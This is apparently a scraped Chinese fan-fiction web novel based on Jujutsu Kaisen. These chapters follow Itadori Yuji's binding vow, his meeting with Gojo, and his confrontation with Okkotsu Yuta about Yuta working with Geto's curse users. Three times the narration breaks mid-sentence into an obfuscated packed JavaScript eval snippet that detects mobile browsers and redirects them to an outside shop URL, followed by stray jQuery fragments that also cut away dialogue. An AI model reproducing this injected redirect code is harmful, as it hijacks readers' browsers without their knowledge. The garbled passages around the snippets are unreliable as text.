又到了樱花盛开的季节,街道两旁的樱花树在春风的吹拂中洒下无数淡粉色的花瓣,这些小东西们又飘进了教会的庭院里,连空旷的训练场里也能见到它们的身影。虎杖悠仁特意挑了一个风大的日子从外面捡了一兜子樱花瓣回来,准备找个机会去做樱花饼。
他提着轻飘飘的提兜回到楼下的时候,正好碰见刚从房间里走下楼的枷场姐妹。枷场美美子看到他之后,默默将手中的玩偶抱得紧了一些。
“你这是要干什么?”枷场菜菜子指了指虎杖悠仁手里的东西。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378202|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>粉发少年举起来打开给她们看了一眼,兴致勃勃地说:“最近不是很火吗?自制的鲜花饼!等我做好了给你们尝尝!”
枷场菜菜子撇着嘴说:“你还真是悠闲呐,悠仁。”
“菜菜子。”美美子小声提醒她。
虎杖悠仁:“你们这是要出去玩?”
抢在枷场菜菜子开口之前,美美子回答道:“等你做好鲜花饼,一定要给我们尝一尝,悠仁。我们先走了。”
说罢,她拉着满脸不爽的枷场菜菜子迅速离开了。
虎杖悠仁将樱花瓣放到了一层的柜子上,上楼回了房间。乙骨忧太正在收拾屋子,从橱柜的角落里翻到了不少买给小猫但没来得及给它玩一玩的小玩具,听到他回来了只是打了声招呼,却没有得到应有的回答。
“悠仁?怎么了?”乙骨忧太从杂物中抬起头,看向虎杖悠仁。
虎杖悠仁随意地靠坐在自己的书桌上,似乎在思考着什么:“菜菜子她们每天都在干什么呢?”
闻言乙骨忧太站起身,活动了一下因为长时间保持一个姿势而有些僵硬的身体:“是哦,我们很久没有一起吃饭了。”
甚至连见面的时间都总是会错开,虎杖悠仁默默补上了一句。
“而且最近教会里的人越来越多了。”
不是指来到教会解决烦恼的普通人,而是各种诅咒师。菅田真奈美和祢木利久他们也开始频繁出入,和那些诅咒师们似乎非常熟悉。
尽管理由不同,可乙骨忧太和虎杖悠仁同样产生了山雨欲来的预感。
不会和妈妈有什么关系吧?
虎杖悠仁尝试过调查自己妈妈的情况,最擅长这方面的是孔时雨,但因为虎杖悠仁并不信任他所以特意避开了他自己调查,可惜只从曾经的邻居口中得到了“虎杖香织”和“虎杖仁”的名字。
除了名字以外,什么都没有。
没有照片,很少有人见过他们。
借着这一趟回老家,虎杖悠仁还去医院里尝试询问有关爷爷的信息。医院的护士站里居然还有一个护士认得他,并且提供了一个很重要的消息。
“曾经有一个戴着帽子的男人来找过虎杖先生,”因为那个人的打扮太过古怪,给当时只是一个年轻小护士的她留下了很奇特的印象,“似乎自那之后虎杖先生的状态就不太好了。”
不过终究已经是十多年前的事,一些细节和具体的情况她也说不太清。护士推荐他到医疗事务科提出申请,如果虎杖倭助的病历还被保存着的话,应该能够拿到死亡诊断书的副本和尸检报告的摘要信息,那里面会记载老人的直接死因和原死因。
“能拿到这些已经很幸运了,毕竟已经是十多年前的事,”虎杖悠仁花了很长时间跑医院的流程,有的时候乙骨忧太会陪着他一起过来,不过后来虎杖悠仁就不让他一起过来了,“周末你又要出门吗?”
“嗯,夏油先生那边有点事情需要帮忙......不是特别危险的事,放心吧。”
乙骨忧太正在吃虎杖悠仁做的鲜花饼,没有留意到粉发少年略显复杂的目光。虎杖悠仁自然敏锐地察觉到了乙骨忧太和诅咒师们走得太近了这件事,他也知道枷场姐妹已经和其他诅咒师一样,做过伤害、诅咒他人的事。
他知道枷场菜菜子为什么觉得他看起来很悠闲,他都明白的。
可即便知道,他也无能为力。既无法干涉他人的选择,也没办法让自己心安理得地装作看不到,虎杖悠仁觉得自己正在被两个截然相反的冲动撕扯着,一方想让他变得更加傲慢、自负一点,哪怕得不到好结果也要去搅动别人的命运。另一方想让他更自私一点,放任自己成为世界的旁观者......就这样冷漠地明哲保身,全心全意守护自己最重要的人。
“......”
“......那个——”虎杖悠仁被盯得有点浑身发毛,他乖巧地举手:“五条先生为什么要这样盯着我?”
五条悟托着脸,今天他没戴眼罩,改戴了墨镜,此刻它滑到了鼻梁下方,将那双颜色瑰丽的眼睛露了出来:“因为你已经在那里看着我坐了快十分钟又不说话,我还特地把惠支开了你也没有想说什么的意思。”
虎杖悠仁抿着嘴。
他拜托伏黑惠找到了能够和五条悟见面的机会,不是奔着他最强咒术师的名头而来,而是单凭他自己已经对身上被施加的束缚束手无策。至于为什么绕过了夏油杰来找不怎么熟悉的五条悟......他自己也说不太明白,大概是一种直觉的驱使,又或者是因为最近教会里不同寻常的动静才令他做出了这样的选择。
他一直沉默着。
“......”
五条悟换了个姿势,双手抱胸向后靠在凳子上,将眼睛藏了起来。
“难道说,有什么‘说不出口的秘密’在困扰着你吗,悠仁?”
虎杖悠仁的眼睛亮了起来。
64. 第 64 章
然而这样的欣喜只持续了一瞬。
五条悟试图通过提问来观察虎杖悠仁的反应,用这种方式寻找可能的正确答案。但这样投机取巧的方法也被羂索设下的束缚彻底否决,他既无法开口回答五条悟的话,脸上的肌肉也突然像是被麻痹了一样,无法给出任何反应,包括下意识的微小表情也没有办法表现出来。
他听到五条悟说到了正确答案,可面对这样的天赐良机却没办法伸手抓住,只能将自己急得满头大汗,宛如只身坠入深渊却无法挣扎,心中绝望无比。
忽然有一只手压住了他的头顶,将他从沉重到无法呼吸的窒息感中拉了出来:“看来我说到正确答案了?”
“五条先生,我——”
五条悟收回手,不再继续提问,而是享用起桌子上的甜品。伏黑惠一直没有回来,尽管五条悟只是知道了正确答案藏在他自己说的那些问题中,并没有切中真正的靶心,但虎杖悠仁却觉得浑身轻松了不少。
“我大概明白了,”白发咒术师的声音在此刻的虎杖悠仁耳朵里变得相当可靠,“但是解决起来却很麻烦啊,不过我会帮你想想办法的。”
虎杖悠仁随着他的话在失落和欣喜之间疯狂切换着,最后化作了无言的颓丧。
“但是我没有什么......”甚至他从未将自己的事情告诉五条悟。
他无法从自己的身上找到可以当做回报的价值。爷爷常常教导他要知恩图报,但也绝不应该为了得到某种回报而选择帮助他人。虎杖悠仁一直遵循着老人的教诲,但他现在却觉得恩情才是最难回报的东西。
不管是在成长过程中欠下的恩,还是有人会因为自己的帮助而陷于与现在的他同样的困境,他总会觉得自己无能为力。
一如他不知道如何面对夏油杰,以及乙骨忧太......虎杖悠仁的脑袋里忽然灵光一现。
忧太他难道——
“嗯哼,现在的悠仁只是一个来路不明的幼稚小鬼,确实帮不上什么忙呢。”
五条悟无视了虎杖悠仁“这话好过分!”的声音,继续悠悠然地说了下去:“嘛,不过我又不是什么拐骗未成年的怪大叔,不会为难一个孩子的啦,悠仁你不用这么紧张哦。”
“但是!”
五条悟竖起一根手指,制止了虎杖悠仁接下来想要说出口的话。这孩子似乎将恩情和人与人之间的关系看得太重要了,甚至要远比他自己的感受更重要。五条悟并非不理解这样的想法,但更明白想要开解孩子们的心结有多困难。
“我不会用这些事情‘要挟’任何人,我不需要也没有必要。而且,你很害怕这种说法吧?”
看着虎杖悠仁有些发白的脸,五条悟知道自己果然猜得没错。心情几度起伏,虎杖悠仁完全没有享用甜品的兴致了,选择将没怎么动的糕点打包带回家给乙骨忧太尝尝,顺便和他谈一谈。
五条悟离开甜品店之后,果然在不远处的另一家饮料店里找到了伏黑惠。
“怎么样?虎杖他说了什么?”伏黑惠似乎时刻关注着他们的动向,虎杖悠仁还留在原地垂头看着手机,他见五条悟出来之后立刻跟了上去:“......为什么这副表情?问题很棘手吗?”
难道连五条老师都没办法解决吗?
伏黑惠后知后觉地意识到文化祭那天的虎杖悠仁正在烦恼的事情果然不是他想象的那样,而是遇到了真真正正的大麻烦。
“那孩子身上有一个超——麻烦的诅咒,”五条悟看见伏黑惠立刻皱起的眉毛,“至于解决方法嘛,说起来也很简单。”
如果他猜得没错,虎杖悠仁的身上有一个建立在多人之间的束缚,看他的模样似乎是受人诓骗、在无意识间让一个足以约束他本人行动的束缚达成了。
“只要找到和他建立束缚的人,然后把问题的源头解决掉就可以了。但因为束缚的存在,他应该没办法告知别人和那个人有关的事,所以问题就变得复杂起来喽。”
“......”原来他那天说的秘密指的是这个束缚......伏黑惠为自己完全跑偏的思路感到懊悔,可听到五条悟的话更觉得自己已经没有能力在这件事上帮到虎杖悠仁:“五条老师,请你想想办法吧。”
五条悟看着他:“这是私情?”
“是私情,无论如何都请你帮帮忙吧。”
哪怕虎杖悠仁未来走向他们的对立面,伏黑惠也不会放弃在现在付出自己的真心去救他。他做事只凭良心,不在乎是对是错,也不在乎这份善意是否会在未来伤害到他自己,所以即便以后不得不面对与现在截然相反的立场与关系,让他重新再来一次的话,也绝不会后悔曾做出帮助他人的选择。
“哼哼,交给我吧!”五条悟一改方才严肃正经的模样,用雀跃轻快的声线答应了伏黑惠的请求。
只是,即便得到了五条悟的承诺,也没有将伏黑惠心中的懊悔和一些隐秘的焦躁驱逐出去。
虎杖悠仁在五条悟走后又独自在甜品店里坐了很久,刚开始的时候大脑放空什么都没有想,手却习惯性地摸出了手机,在他和乙骨忧太的聊天框上来回翻着。
他们的上一次聊天停留在两个小时前虎杖悠仁从家里出来的时候,因为乙骨忧太不在家,所以虎杖悠仁只能在手机上告知了他自己的去处。
他快溜达到甜品店的时候收到了乙骨忧太回复。哪怕只是通过冰冷的文字,虎杖悠仁也能想象出他说这话时的语气。
“......什么嘛。”虎杖悠仁的手指在电子屏幕上随意划拉着,偶尔戳弄乙骨忧太傻乎乎的头像。
他在和五条悟的对话中恍然醒悟,突然明白了为什么乙骨忧太最近总是步履匆匆,他们之间相处的时间也越来越少。大概半年前就隐隐约约察觉到乙骨忧太有什么事情瞒着自己,再联想到最近教会里不太寻常的变化,不难想象诅咒师们似乎正在准备某件很重要的事。
乙骨忧太选择代替虎杖悠仁一起偿还他们受到的恩情。
虎杖悠仁拿起手机,噼里啪啦地在聊天框里打下了“晚上我们谈谈吧”的文字,一股脑地发了出去。
乙骨忧太抽刀踹开脚下的庞然大物后,顺手将刀上残留的血迹甩开。
“忧太!!还没好吗?!”枷场菜菜子站在楼下向上喊道。
黑发少年应了一声,却在准备跃下平台的时候听到了手机发出的提示音。他停下了动作,拿出手机后果然看到了虎杖悠仁发来的信息。
看见乙骨忧太连刀都收起来、改用双手打字,枷场菜菜子嘁了一声,决定甩开他直接去和委托人交涉。菅田真奈美挑选的客户们全都是出手大方、能够提供大量酬金的对象,至于任务目标,有的时候是咒灵,有的时候是人。
诅咒师们以咒杀为业,偶尔也会接一些报酬极高的祓除咒灵的委托。这类委托人有能力接触到穿针引线的中间人,必然对咒术界的情况有所了解,选择他们作为委托对象则意味着未来也有可能继续和诅咒师合作,能够源源不断地为教会提供财富支持。
乙骨忧太身后的咒灵已经消散得差不多了,他的脸上面无表情,可双手打在聊天框里的文字却与他现在的神情全然不同。
——好的!我会早点回去的!
——悠仁现在还在外面吗?
——有什么想吃的东西吗?我在竹下通附近,你想吃可丽饼吗?
他从站姿变成了蹲姿,缩成一团待在危险的平台边缘等待回复。
枷场菜菜子已经回来了,看到乙骨忧太还抱着手机待在楼顶,于是便扯着美美子的手臂和她嘀嘀咕咕道:“你看他!绝对在和悠仁聊天吧?!黏黏糊糊的简直和小情侣一样嘛!”
枷场美美子:“你问过他了吗?”
“不用问也能看得出来啊!”
黑发的女孩摇了摇头,但她并非否认菜菜子的话:“菜菜子,你上次太没礼貌了。”
“哈?你说哪次?”
“宿舍楼下面。”
枷场菜菜子不满地踢开了脚边的空易拉罐,听着铁皮罐头的声音在小巷中回响,可即便是这样刺耳的声音也没有惊动楼顶的人。亦或者他听到了,但是任性地没有理会。
“我知道了啊!但是看到他那副模样就觉得生气,我也没办法!”
枷场美美子又摇了摇头:“你只是在担心他。”
他们是幼时就结识的朋友,这短短人生中的大部分时间都有那个粉发少年出没的身影。枷场菜菜子觉得自己更多的不满来自于恨铁不成钢,看着虎杖悠仁对那些猴子们展露笑颜的时候就会觉得刺眼。
这是理所当然的,她们最讨厌的就是猴子,虎杖悠仁作为她们的朋友却没有和她们站在同一方......或者说,没有完全和她们站在相同的立场上,包括现在的乙骨忧太。
黑发少年拒绝参与咒杀的任务,只会在祓除咒灵的时候出手。这似乎是他为自己定下的铁则,也是他能够做出的最大让步。
也许除了对朋友们幼稚的占有欲,出现在她们心中越来越多的还有担心吧。
“......我就是看他那张脸上的白痴表情很不爽,不知道他那颗粉脑袋里头想的是什么,”枷场菜菜子压着声音说,光凭语气还会让人以为她在恶狠狠地诅咒什么人,“犹犹豫豫,又装作开朗,那群猴子们哪里值得他这样——”
“菜菜子!”枷场美美子打断了她的话。
乙骨忧太已经轻巧地落地,他对咒力的操作在实战中不断得到磨炼,如今已经完全变成了成熟术师的模样。
“我们走吧!”他看起来心情不太好。
“发生什么事了,忧太?”枷场美美子问道。
黑发少年挠着头,苦恼地说:“我的事大概要被发现了。我们待会儿可以先去买个夹巧克力香蕉的可丽饼吗?”
枷场菜菜子:“......
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378203|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“......反正都到竹下通这边来了,我们也去买。你不是一直说还想吃吗,菜菜子。”
最终枷场美美子一锤定音,反正就算她们不去,乙骨忧太肯定要自己去的。
枷场菜菜子挑起一侧的眉毛问他:“你打算怎么和他说?看你的样子这次应该没办法糊弄过去了吧?”
“我也没有糊弄过啦,”乙骨忧太回答,目光迎着逐渐西斜的太阳,“其实看着他早就发现我有事情瞒着他,却碍于各种原因没有直接来找我,这种感觉更让人难以忍受。”
他总有一日要好好和悠仁谈一谈的。
虎杖悠仁正在整理房间,他终于有兴致将墙上旧得过分的海报取下来收好,胶带在墙面上停留了太久,留下了与旁边不同的色差。
他将海报摘下来收回了柜子里,并没有换上新的贴上去的意思。
“我回来了哦,悠仁。”
虎杖悠仁很远就听到了乙骨忧太的脚步声,所以早就出现在门口迎接他:“欢迎回来忧太!喔!这个可丽饼是不是更大了一点?变贵了吗?”
乙骨忧太松开手,让虎杖悠仁拿走了手中的袋子:“好像确实贵了一点,但是里面的东西也变多了。”
除了可丽饼,他还从外面带了一些寿司和饭团回来当做晚饭。
虎杖悠仁拉出了一张矮桌,将电视机前的一片地方收拾了出来,这样他们可以坐在地上靠着沙发一边吃饭一边看电视。
当乙骨忧太换下外衣重新回到客厅,就看见虎杖悠仁已经在地上坐好,拍了拍身边的空位,笑着叫他赶快过来。
电视机里播放的是虎杖悠仁最近一直在看的悬疑推理电视剧,乙骨忧太如他所愿坐了下去。
屋里并没有开灯,虎杖悠仁看起来目不转睛地关注着电视剧的内容,桌子上刚被打开的罐装可乐不断冒出气泡炸裂的绵密声音。罐子外面的水珠向下淌着,在桌面上汇聚成一小滩水渍。
吃饭时间并不沉默,他们聊着电视剧里不合理的地方,偶尔也会说起最近发生在周围的事,虎杖悠仁还说起接下来准备去清理庭院的打算。
这栋楼附近的庭院生长着各种植物,从他们住进来之后一直没有经过打理,道路的面积被植被挤占,一到夏季蚊虫的数量也直线上升。
更不用说梅雨季的时候还会变得沾满泥巴,每次出行都会弄脏鞋子,虎杖悠仁觉得为了避开积水而跳来跳去挑选落脚地有点太麻烦了,不如趁着雨季来临之前将庭院彻底打理一遍。
“我和你一起吧,正好我记得仓库里似乎有割草器之类。”
虎杖悠仁收拾着桌面,乙骨忧太从他的话里多少听出了一些微弱的不满和抱怨:“但是忧太你最近很忙。”
黑发少年侧过身,郑重地说道:“来谈一谈吧,悠仁。”
虎杖悠仁被他的直白吓了一跳,但是在心脏激烈地搏动声中应了下来:“嗯。”
电视机里男女主交谈的声音还在继续,但两个少年的耳中已经完全听不到了。乙骨忧太觉得周围安静得有些过分,尽管这次谈话已经被他引向了正题,可话到嘴边却不知从何说起。
率先开口的是虎杖悠仁。
他深吸了一口气,尽量不让自己的语气中带上责备:“所以,忧太你现在在帮夏油先生他们吗?在......做什么危险的事吗?我不想听到你说没什么,所以请你一定要一五一十地告诉我!”
他的声音越说越坚定,从最先的询问逐渐变成了要求,他的身体微微前倾,似乎执着地只有听到乙骨忧太毫无保留地和盘托出才肯罢休。
秘密会令原本亲密无间的人渐行渐远。
不管是因为善意的守护之心,还是因为各种各样的理由而无法说出口的秘密,它们隔在两个人之间,像是一个不断被充气的气球将他们挤向相反的方向。
乙骨忧太将自己瞒着虎杖悠仁的所有事情都说了出来。奇怪的是,他的心中没有被迫拆穿自己的隐瞒行为而感受到的窘迫或沮丧。
他开始向虎杖悠仁讲述自己如何接下非咒杀类的任务,将自己的第一次出行和最近一次通通说了出去。没有隐瞒自己曾经遇到过的危险,就连受过哪些伤、又在回家之前悄悄用反转术式治疗后才走进家门都一一如实告知。
虎杖悠仁安静地听着,他脸上的表情混杂了太多的色彩,最终定格在了无意识皱起的眉头和满是担忧的双眼。
“抱歉,我又擅自做出了这样的决定......并非不信任悠仁,而是我对自己太自信了。”乙骨忧太几乎将自己的内心完全剖了出来,他不知道自己是不是因此才觉得说出这些话的时候毫无波澜。
似乎是在不知不觉中意识到了自己拥有的力量得天独厚,“能够用自己的力量守护虎杖悠仁”这件事对他来说有着致命的吸引力。
“......忧太,”虎杖悠仁终于开口,“你的手在抖。”
65. 第 65 章
乙骨忧太闻言迅速双手交握,却摸到了凉得像是冰块一样的皮肤。他的确太过自信,甚至有些自负到潜意识里相信哪怕虎杖悠仁知道了真相也绝不会远离他。
责备或生气都是可以被接受的后果,虎杖悠仁透过乙骨忧太的眼睛看穿了他主动剖出的、自认卑劣的内心。
他自以为是地替虎杖悠仁做出了选择,并自作主张地想要让他接受。
虎杖悠仁缩起腿,将下巴搭在膝盖上,侧着脸看他:“夏油先生应该还和你说了其他的话吧?究竟是什么让你做出了这样的选择呢?”
乙骨忧太没有及时回答这个问题,转而问道:“我......你对我瞒着你这件事......”
虎杖悠仁将头在膝盖上蹭了蹭:“我想知道理由。”
“......他说可以让我们生活在一个没有诅咒和咒灵、术师与非术师、没有痛苦和排挤的世界。”
“你相信了?”
乙骨忧太挪开眼睛,将视线落在了被取走海报的墙上:“我只是希望他说的能够变成现实......多少有点期待吧。”
但他们都明白夏油杰和诅咒师们选择的方法并不可行,这似乎只是一次飞蛾扑火般的集体自杀,在最后一点火光燃尽之后什么都不会剩下。
“夏油先生不会让菜菜子她们真的跟着自己去的。”虎杖悠仁断言。
乙骨忧太又想起那日傍晚在夕阳下见到的笑容。黑发的诅咒师简直像是一个拥抱黑夜的殉道者,不需要回头也知道他已经没有了退路。
虎杖悠仁突然站起身,他居高临下地俯视着惊讶的乙骨忧太,宣告了自己的决定:“以后我要和你一起去。”
“但是.....”
他将两只手抬起,“啪”地一声拍在了乙骨忧太的脸上。
“我知道的。不管是咒术师还是诅咒师,未来大概都不会有什么好结局。”伏黑惠在前段日子失去了一个同伴,似乎是年纪稍大一些的熟人,就这样突兀地在任务中死去了。虎杖悠仁也听出没于教会的诅咒师们说起以前同行的伙伴不是死在了咒灵手里,就是死在了相互诅咒的争斗中。
“我和你是一样的,忧太,”虎杖悠仁注视着他黑色的眼眸和被挤压变形的脸颊,“我的咒力量不如你,在咒力操作上也没什么天分,唯一能够自满的大概也就是这一身力气了吧?但是我也想一直和你在一起——”
“不论战斗还是死去。”
乙骨忧太抬臂捉住了压在脸颊上的手掌,半起身让自己和站立着的虎杖悠仁靠得更近。他近乎面无表情地冷静问道:“你明白你在说什么吗?”
“当然了!”虎杖悠仁提高了音量,有些激动地说:“就是叫你别丢下我的意思啊!!”
乙骨忧太的声音被他自己压得极低,几乎是扯着嗓子压抑着喉咙的颤抖:“我从没那么想过。”
他攥着虎杖悠仁的双手让它们离开自己的脸旁,垂下头只将乌黑的发顶留给了粉发少年:“只是这样......如果我走错了路,你也会跟着我一起掉下去。”
虎杖悠仁蹲下身,近乎强硬地破开了乙骨忧太身前留给他自己的最后的防御空间,张扬地闯了进去。明媚的笑容对上饱含泪水的双眼,虎杖悠仁笑着说:“不是让你放心了吗!我的力气很大的,拉住咱们两个绝对没问题!!”
乙骨忧太觉得固执又自负的人似乎并非只有他自己。不想失去对方的心情,他已经切实地体会到了。
“......嗯。”他重重点头。
虎杖悠仁就势坐在了他身前,动作明显地松了一口气,似乎终于放下心来:“只是祓除咒灵而已嘛,所以夏油先生他们最近为什么会召集那么多诅咒师到教会来?”
乙骨忧太偷偷抹掉眼泪,手背上湿漉漉的,同样不解地回道:“大概因为并不是特别信任我,所以我不知道这些细节,连菜菜子和美美子都不肯跟我说。”
他们似乎还在试探他的决心,但不参与咒杀这一点就足以让诅咒师们与他划清界限,尤其是乙骨忧太和虎杖悠仁在教会里是出了名的爱和猴子们混到一起去的人,来到教会的大部分诅咒师都没办法容忍这种行为,但碍于他们和夏油杰、枷场姐妹之间的关系才没有人针对他们的事再做文章。
“我现在、没有其他的事瞒着你了,”乙骨忧太缓缓抬眼,“悠仁你有什么事情瞒着我吗?”
虎杖悠仁无法回答,只是强迫自己直视乙骨忧太的目光,定定地看着他。
“你有。”
“不是因为不想告诉我,而是因为不能说吗?”
“......是束缚?但是是谁.....”
虎杖悠仁的眼睫抖动着,死死盯着乙骨忧太。
黑发少年骤然起身,将双手摁在了虎杖悠仁的双肩上,几乎将他推倒在沙发上:“是那个人?!是悠仁的妈妈吗?!他来找过你?!”
虎杖悠仁的眼神说明了一切。他无法说话、没有办法做出任何表情,但乙骨忧太对他太过熟悉,甚至只需要凝视那双琥珀色的瞳仁就能看穿他的心思。
乙骨忧太在那双眼睛里看见了占满虎杖悠仁全部视野的自己。
蒙在事实之上的纱终于被揭开了。乙骨忧太几乎条件反射似的确认了罪魁祸首,令他如此迅速地找到答案的原因……
并非对那些异常情况毫无察觉,但一切由最细微的线索拼凑出来的怀疑都在“那是悠仁的妈妈”这句话前望而却步。
他们保持着这样奇怪的姿势,谁也没有主动说话。
“......”
屋里没有开灯,随着太阳完全落入山后,房间里唯一的光线来源就是已经进入了广告时间的电视机。快速转变着的彩色炫光照映出神色各异的两个人,乙骨忧太倒吸了一口气,却没有松开手。
“我......”
虎杖悠仁微微直起被乙骨忧太推到沙发旁斜靠着的上半身,放在地上的坐垫已经在刚才被挤走了。光滑冷硬的地板让他觉得有一股凉意从掌心蹿上了头顶,将内里蒸腾的热量驱赶到了体表。
“除了这件事,其实还有事情瞒着你。”
虎杖悠仁目不转睛地凝望着乙骨忧太的眼睛:“......是什么?”
他看到乙骨忧太眉目间满是温柔又带着些许不易察觉的遗憾,垂落的黑发为他的侧脸打上了丝缕阴影。
周围的温度似乎升高了一些,虎杖悠仁从没想过对视也会让人觉得浑身黏腻,似乎有看不见的人将他们的视线打了解不开的死结,无法自拔。
“现在,”乙骨忧太顿了顿,逼迫着自己继续说了下去,“现在还不行,悠仁。”
虎杖悠仁翻身而起,竟一下子将毫无准备的乙骨忧太掀翻了过去,和他交换了位置:“为什么?为什么现在不行?”
乙骨忧太感受着手肘处的骨骼抵在地板上,发出一声响亮的“咚”。
和他沉重的心跳声重合。
虎杖悠仁还在追问着,似乎抓住了千载难逢的机会所以不肯轻易放手。
“因为,”乙骨忧太用着一种近乎哀求、但依旧温柔到极致的语气说道,“因为我们都还没有做好准备。它不能是困住你的诅咒,那对你来说太不公平了。”
“所以......我想请你再等等我。”
这个约定、这个誓言——能够超越他们与死亡的缘分。正因它如此沉重、如此重要,在邀请虎杖悠仁一起将生命置于其上之前,乙骨忧太必须保证他建立起来的根基足够稳固,不容动摇。
虎杖悠仁挪动着向后退开,介于稚嫩与成熟之间的脸是独属于少年人的青涩。他半眯着眼睛,琥珀色的眸子里面仿佛流动着光,像是灯光下晶莹剔透的蜜糖。
他抿着嘴,乙骨忧太知道这副表情代表粉发少年接受了他的话。
沉默再一次在他们之间重新开始蔓延,明明没有进行任何激烈活动,可虎杖悠仁现在却察觉到自己的心脏居然跳得那么快。一旦松懈下来,身体就感受到了骤然放松后的疲惫,他任凭自己瘫坐在了地上,伸手把被挤到一旁的坐垫扯到了怀里。
他能听到乙骨忧太调整呼吸的声音。
“......得把你身上那个麻烦的束缚解决掉才行。”乙骨忧太站起身,走到墙边打开了灯。光明驱散了周遭凝固的氛围,电视机的声音突然变得清晰了起来。
“把你的手机给我看一下。”
虎杖悠仁把手机递了出去,乙骨忧太知道他没办法说出和那个人有关的事,看到他联系伏黑惠的消息之后就知道他已经找过五条悟了。
“五条先生怎么说?”
虎杖悠仁摇头:“看上去不是特别简单的事。”
他舒展表情,安慰着逐渐皱起眉头的乙骨忧太:“没关系的,也许只是需要时间。”
这样最好,如果只是交给时间就能解决的问题......乙骨忧太无法完全被这样的解释安抚,他迫切地想要知道那个人究竟为什么缠着虎杖悠仁不放——那些每月按时寄来的生活费和奇怪的礼物、要求他们寄回的相片,如今仔细想想,简直和寄养了一个宠物没有任何区别。
初见时感受到的恶意,分明是自己尚未完全觉醒的咒术天赋在发出预警,而那时他既没有能力回应自己的直觉,也没办法阻止虎杖悠仁被人带走。
“难道,是那个时候吗?”乙骨忧太问:“是你第一次见到那个人的时候?!”
是了,绝对没错。
他突然被巨大的恐慌摄住了心神。现在距离那时已经过了多久?十年?还是更久?不管那个人想要做什么,能够花上十数年的时间藏住这样一个束缚......不,不对,被藏起来的不只是束缚,甚至还有虎杖悠仁本人。
必须要面对这样的人带来的威胁,简直就像是在森林深处厚重的枯叶中游动的蝮蛇,皮肤上的纹理和周围的环境融为一体,等到它真正发起攻击时才惊觉早已来不及逃跑。
乙骨忧太宁愿以最大的恶意去推测那个人。
“抱歉。”
乙骨忧太愣了一下:“诶?”
虎杖悠仁抬起头,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378204|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
郑重且歉疚地又说了一次:“抱歉,忧太。”
为什么要道歉?乙骨忧太有些手足无措。对虎杖悠仁来说这些不过是无妄之灾,不论是在幼时被人哄骗立下束缚,还是跟着自己一起回到老家经历了那些不堪的事,至于最近他重新被过去的阴影纠缠不休......这不是他的错,为什么他还要向其他人道歉呢?
因为觉得麻烦了别人。就像是病人总是在说着对不起一样,明明难受痛苦的是自己,却总还是为别人照顾自己所付出的时间与精力感到抱歉。
虎杖悠仁觉得自己落入如今的境地完全都是因为他没能做出正确的选择。尽管苛责一个渴望亲情的孩子无法对妈妈说出拒绝的话显得太过无情,但当人猛然发觉自己很久之前的某个决定做错了,“如果当时那么做就好了”、“如果那时这样说多好”,诸如此类的想法便会成为现在的自己对过去的那个“人”发出的恶毒诅咒。
如果当时没有选择应下那个约定,现在还会发生这样令他们束手无策的事吗?
——
“呵呵,对术师来说,最重要的当然是自我肯定,”夏油杰似乎因为乙骨忧太的话想起了一些事情,“以前有个人说过一个很有趣的说法。”
“他说咒术师不存在没有悔意的死亡,当然,我本人还是很赞成这句话的,只不过那是对于咒术师们来说最好趁早理解的话。”他摊开双手,身上宽大的袈裟配合着他本就比常人大一些的耳垂,也不怪一些非术师会将他视作与佛祖关系密切的人,对他和教会趋之若鹜。
“夏油先生,你以前是咒术师吗?”
夏油杰并没有否认乙骨忧太的话,所以乙骨忧太也没有继续问他“为什么”。无非是确信自己想走的路已经与从前不同,无非是......因为他们都心知肚明的、众所周知的丑恶。
“你想让悠仁跟着拉鲁他们去海外?拉鲁和米盖尔最近不会离开日本,但如果你坚持的话,我可以帮你想办法送他走,”夏油杰抛动着浑浊的咒灵玉,“我姑且问一句,理由呢?”
“......也许只是我想多了,但是,”乙骨忧太单手拉着背在肩上的黑色布包,他将虎杖悠仁身上的束缚一五一十地告知了夏油杰,“我想等这边的事情结束后全心全意帮他解除这个诅咒,在那之前他还是......尽量藏起来比较好。”
“悟怎么说?”
过于熟稔的叫法让乙骨忧太惊讶地挑起眉毛,有些语无伦次地说:“啊?你是说、五条先生?我们、他其实没......”
他这副模样让夏油杰笑话他道:“别这么紧张啊,我不在乎你们见了什么人,不过你最好有充足的心理准备。”
他的语气严肃了起来,没了开玩笑的意思,这让乙骨忧太的大脑冷静了下来:“什么?”
夏油杰说道:“我准备在年底的时候开始行动,在东京、新宿等聚集着猴子们的地方放出咒灵尽情诅咒。这种规模的行动绝对没办法绕过五条悟,所以必须要将他引开。”
乙骨忧太攥紧手掌:“为什么?只是为了杀死那些非术师吗?就算东京和新宿都被咒灵占据,接下来呢?”
